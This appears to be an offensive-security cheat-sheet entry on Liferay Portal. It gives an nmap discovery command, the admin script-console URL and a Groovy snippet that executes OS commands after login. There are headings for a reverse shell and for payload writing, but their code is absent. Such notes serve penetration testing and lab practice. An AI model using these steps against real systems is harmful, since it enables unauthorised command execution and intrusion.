Liferay
Liferay Portal commonly runs on Tomcat and may expose powerful administrative functionality after login. If you recover portal credentials from deployment files, check the Server Administration script console for command execution.
Discovery
nmap -sV -sC TARGET -p8080Look for titles or content like:
Home - Liferay Portal
Liferay Community Edition Portal 7.4.x CE
Apache TomcatVersion
After login, the footer or admin pages may show the exact build:
Liferay Community Edition Portal 7.4.x CE GAxxServer Administration Script Console
The script console is reachable from the control panel:
/group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=scriptUse Groovy to run commands:
def process = "cmd /c whoami".execute()
println process.textWindows enumeration from the console:
Config hunting from the console:
Groovy Reverse Shell
On Windows, use powershell or cmd.exe;
Writing Files from Groovy
If HTTP/SMB transfer is blocked but the script console works, base64 the payload locally and write it on target:
Execute it:
Local Service Context
Liferay on Windows may run under a local service account through NSSM:
Last updated